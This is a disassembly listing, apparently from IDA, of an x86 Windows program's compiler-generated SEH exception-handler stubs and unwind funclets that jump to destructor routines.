SEH_414160	proc near		; DATA XREF: sub_414160+2o
		mov	eax, offset dword_4411F8
		jmp	sub_437AB8
SEH_414160	endp

; ---------------------------------------------------------------------------
		db 15h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43AEF8:				; DATA XREF: ___:00441264o
		mov	ecx, [ebp+14h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp+10h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp+0Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43AF10:				; DATA XREF: ___:004141F2o
		mov	eax, offset dword_441238
		jmp	sub_437AB8
; ---------------------------------------------------------------------------
		db 16h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp+4Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43AF38:				; DATA XREF: ___:004412ACo
		lea	ecx, [ebp+34h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp+1Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp+4]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp-10h]
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_414300	proc near		; DATA XREF: sub_414300+2o
		mov	eax, offset dword_441280
		jmp	sub_437AB8
SEH_414300	endp

; ---------------------------------------------------------------------------
		db 1Bh dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43AF88:				; DATA XREF: ___:004412FCo
		mov	ecx, [ebp-10h]
		add	ecx, 15h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 2Ah
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 3Fh
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_414430	proc near		; DATA XREF: sub_414430+2o
		mov	eax, offset dword_4412D0
		jmp	sub_437AB8
SEH_414430	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43AFC8:				; DATA XREF: ___:00441344o
		mov	ecx, [ebp+10h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp+0Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43AFD8:				; DATA XREF: ___:004144D2o
		mov	eax, offset dword_441318
		jmp	sub_437AB8
; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp+4]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4145A0	proc near		; DATA XREF: sub_4145A0+2o
		mov	eax, offset dword_441358
		jmp	sub_437AB8
SEH_4145A0	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp+4]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43B018:				; DATA XREF: ___:004413B4o
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43B020:				; DATA XREF: ___:00414762o
		mov	eax, offset dword_441388
		jmp	sub_437AB8
; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp+1Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43B038:				; DATA XREF: ___:004413ECo
		lea	ecx, [ebp+4]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4148A0	proc near		; DATA XREF: sub_4148A0+2o
		mov	eax, offset dword_4413C0
		jmp	sub_437AB8
SEH_4148A0	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43B05B:				; DATA XREF: ___:00441424o
		mov	ecx, [ebp-10h]
		add	ecx, 19h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 2Eh
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_414AA0	proc near		; DATA XREF: sub_414AA0+2o
		mov	eax, offset dword_4413F8
		jmp	sub_437AB8
SEH_414AA0	endp

; ---------------------------------------------------------------------------
		db 15h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43B098:				; DATA XREF: ___:00414B32o
		mov	eax, offset dword_441438
		jmp	sub_437AB8
; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp+4]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43B0B8:				; DATA XREF: ___:00414BC2o
		mov	eax, offset dword_441468
		jmp	sub_437AB8
; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43B0D8:				; DATA XREF: ___:004414C4o
		mov	ecx, [ebp-10h]
		add	ecx, 15h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 2Ah
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 3Fh
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_414D70	proc near		; DATA XREF: sub_414D70+2o
		mov	eax, offset dword_441498
		jmp	sub_437AB8
SEH_414D70	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp+4]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp+4]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-4Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-48h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-44h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_414E10	proc near		; DATA XREF: sub_414E10+8o
		mov	eax, offset dword_4414E0
		jmp	sub_437AB8
SEH_414E10	endp

; ---------------------------------------------------------------------------
		db 1Eh dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_401262
; ---------------------------------------------------------------------------


loc_43B178:				; DATA XREF: ___:0044156Co
		mov	ecx, [ebp-10h]
		add	ecx, 3Eh
		jmp	sub_401447
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 15Fh
		jmp	sub_401938
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1B46h
		jmp	sub_401CA3
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1BBEh
		jmp	sub_401AFA
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1C58h
		jmp	sub_4014FB
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1D29h
		jmp	sub_401EA1
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1E6Fh
		jmp	sub_401235
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8EF5Dh
		jmp	sub_4013C5
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8F247h
		jmp	sub_401A32
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8F270h
		jmp	sub_4017AD
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8F285h
		jmp	sub_402239
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8F3A2h
		jmp	sub_401ECE
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8F4BFh
		jmp	sub_4018D9
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FA13h
		jmp	sub_4017DA
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FA73h
		jmp	sub_401B3B
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FAD3h
		jmp	sub_401F46
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FB05h
		jmp	sub_401113
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FB93h
		jmp	sub_401889
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FBCDh
		jmp	sub_401E06
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FBFFh
		jmp	sub_402013
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FC31h
		jmp	sub_401776
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FC42h
		jmp	sub_401F00
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FD2Dh
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FD42h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FD57h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FD6Ch
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43B2E1:				; DATA XREF: ___:00416A92o
		mov	eax, offset dword_441540
		jmp	sub_437AB8
; ---------------------------------------------------------------------------
		db 65h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_401262
; ---------------------------------------------------------------------------


loc_43B358:				; DATA XREF: ___:0044167Co
		mov	ecx, [ebp-10h]
		add	ecx, 3Eh
		jmp	sub_401447
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 15Fh
		jmp	sub_401938
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1B46h
		jmp	sub_401CA3
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1BBEh
		jmp	sub_401AFA
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1C58h
		jmp	sub_4014FB
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1D29h
		jmp	sub_401EA1
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1E6Fh
		jmp	sub_401235
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8EF5Dh
		jmp	sub_4013C5
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8F247h
		jmp	sub_401A32
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8F270h
		jmp	sub_4017AD
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8F285h
		jmp	sub_402239
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8F3A2h
		jmp	sub_401ECE
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8F4BFh
		jmp	sub_4018D9
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FA13h
		jmp	sub_4017DA
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FA73h
		jmp	sub_401B3B
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FAD3h
		jmp	sub_401F46
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FB05h
		jmp	sub_401113
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FB93h
		jmp	sub_401889
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FBCDh
		jmp	sub_401E06
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FBFFh
		jmp	sub_402013
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FC31h
		jmp	sub_401776
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FC42h
		jmp	sub_401F00
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FD2Dh
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FD42h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FD57h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FD6Ch
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43B4C1:				; DATA XREF: ___:00416E32o
		mov	eax, offset dword_441650
		jmp	sub_437AB8
; ---------------------------------------------------------------------------
		db 65h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4170B0	proc near		; DATA XREF: sub_4170B0+2o
		mov	eax, offset dword_441760
		jmp	sub_437AB8
SEH_4170B0	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		add	ecx, 9
		jmp	sub_401AE6
; ---------------------------------------------------------------------------


loc_43B55B:				; DATA XREF: ___:004417BCo
		mov	ecx, [ebp-10h]
		add	ecx, 52h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9Bh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0E4h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 12Dh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 176h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1BFh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 208h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 251h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 29Ah
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 2E3h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 32Ch
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 375h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 3BEh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 407h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 450h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 499h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4E2h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 52Bh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 574h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 5BDh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 606h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 64Fh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 698h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 6E1h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 72Ah
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 773h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 7BCh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 805h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 84Eh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 897h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8E0h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 929h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 972h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9BBh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0A04h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0A4Dh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0A96h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0ADFh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0B28h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0B71h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0B9Fh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0BCDh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0BFBh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0C29h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0C57h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0C85h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0CB3h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0CE1h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0D0Fh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0D3Dh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0D6Bh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0D99h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0DC7h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0DF5h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0E23h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0E51h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0E7Fh
		jmp	sub_40208B
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 10C7h
		jmp	sub_40208B
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 130Fh
		jmp	sub_40208B
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1557h
		jmp	sub_40208B

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_417120	proc near		; DATA XREF: sub_417120+2o
		mov	eax, offset dword_441790
		jmp	sub_437AB8
SEH_417120	endp

; ---------------------------------------------------------------------------
		db 0D6h	dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43B98B:				; DATA XREF: ___:004419FCo
		mov	ecx, [ebp-10h]
		add	ecx, 19h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 47h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 75h
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_417640	proc near		; DATA XREF: sub_417640+2o
		mov	eax, offset dword_4419D0
		jmp	sub_437AB8
SEH_417640	endp

; ---------------------------------------------------------------------------
		db 1Ah dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023
; ---------------------------------------------------------------------------


loc_43B9DB:				; DATA XREF: ___:00441A44o
		mov	ecx, [ebp-10h]
		add	ecx, 32h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 60h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8Eh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0BCh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0EAh
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4176E0	proc near		; DATA XREF: sub_4176E0+2o
		mov	eax, offset dword_441A18
		jmp	sub_437AB8
SEH_4176E0	endp

; ---------------------------------------------------------------------------
		db 1Bh dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8D008h
		jmp	sub_401023
; ---------------------------------------------------------------------------


loc_43BA4E:				; DATA XREF: ___:00441A9Co
		mov	ecx, [ebp-10h]
		add	ecx, 8D036h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8D064h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8D092h
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4177B0	proc near		; DATA XREF: sub_4177B0+2o
		mov	eax, offset dword_441A70
		jmp	sub_437AB8
SEH_4177B0	endp

; ---------------------------------------------------------------------------
		db 1Eh dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023
; ---------------------------------------------------------------------------


loc_43BAAB:				; DATA XREF: ___:00441AE4o
		mov	ecx, [ebp-10h]
		add	ecx, 32h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 60h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8Eh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0BCh
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_417870	proc near		; DATA XREF: sub_417870+2o
		mov	eax, offset dword_441AB8
		jmp	sub_437AB8
SEH_417870	endp

; ---------------------------------------------------------------------------
		db 19h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023
; ---------------------------------------------------------------------------


loc_43BB0B:				; DATA XREF: ___:00441B34o
		mov	ecx, [ebp-10h]
		add	ecx, 32h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 60h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8Eh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0BCh
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_417930	proc near		; DATA XREF: sub_417930+2o
		mov	eax, offset dword_441B08
		jmp	sub_437AB8
SEH_417930	endp

; ---------------------------------------------------------------------------
		db 19h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4179F0	proc near		; DATA XREF: sub_4179F0+2o
		mov	eax, offset dword_441B58
		jmp	sub_437AB8
SEH_4179F0	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_417A60	proc near		; DATA XREF: sub_417A60+2o
		mov	eax, offset dword_441B88
		jmp	sub_437AB8
SEH_417A60	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_417AD0	proc near		; DATA XREF: sub_417AD0+2o
		mov	eax, offset dword_441BB8
		jmp	sub_437AB8
SEH_417AD0	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 32h
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_417B60	proc near		; DATA XREF: sub_417B60+2o
		mov	eax, offset dword_441BE8
		jmp	sub_437AB8
SEH_417B60	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023
; ---------------------------------------------------------------------------


loc_43BBFB:				; DATA XREF: ___:00441C4Co
		mov	ecx, [ebp-10h]
		add	ecx, 32h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 60h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8Eh
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_417C20	proc near		; DATA XREF: sub_417C20+2o
		mov	eax, offset dword_441C20
		jmp	sub_437AB8
SEH_417C20	endp

; ---------------------------------------------------------------------------
		db 17h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43BC4B:				; DATA XREF: ___:00441C94o
		mov	ecx, [ebp-10h]
		add	ecx, 19h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 47h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 75h
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_417CC0	proc near		; DATA XREF: sub_417CC0+2o
		mov	eax, offset dword_441C68
		jmp	sub_437AB8
SEH_417CC0	endp

; ---------------------------------------------------------------------------
		db 1Ah dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023
; ---------------------------------------------------------------------------


loc_43BC9B:				; DATA XREF: ___:00441CDCo
		mov	ecx, [ebp-10h]
		add	ecx, 32h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 60h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8Eh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0BCh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0EAh
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_417D60	proc near		; DATA XREF: sub_417D60+2o
		mov	eax, offset dword_441CB0
		jmp	sub_437AB8
SEH_417D60	endp

; ---------------------------------------------------------------------------
		db 1Bh dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8D008h
		jmp	sub_401023
; ---------------------------------------------------------------------------


loc_43BD0E:				; DATA XREF: ___:00441D34o
		mov	ecx, [ebp-10h]
		add	ecx, 8D036h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8D064h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8D092h
		jmp	sub_401023

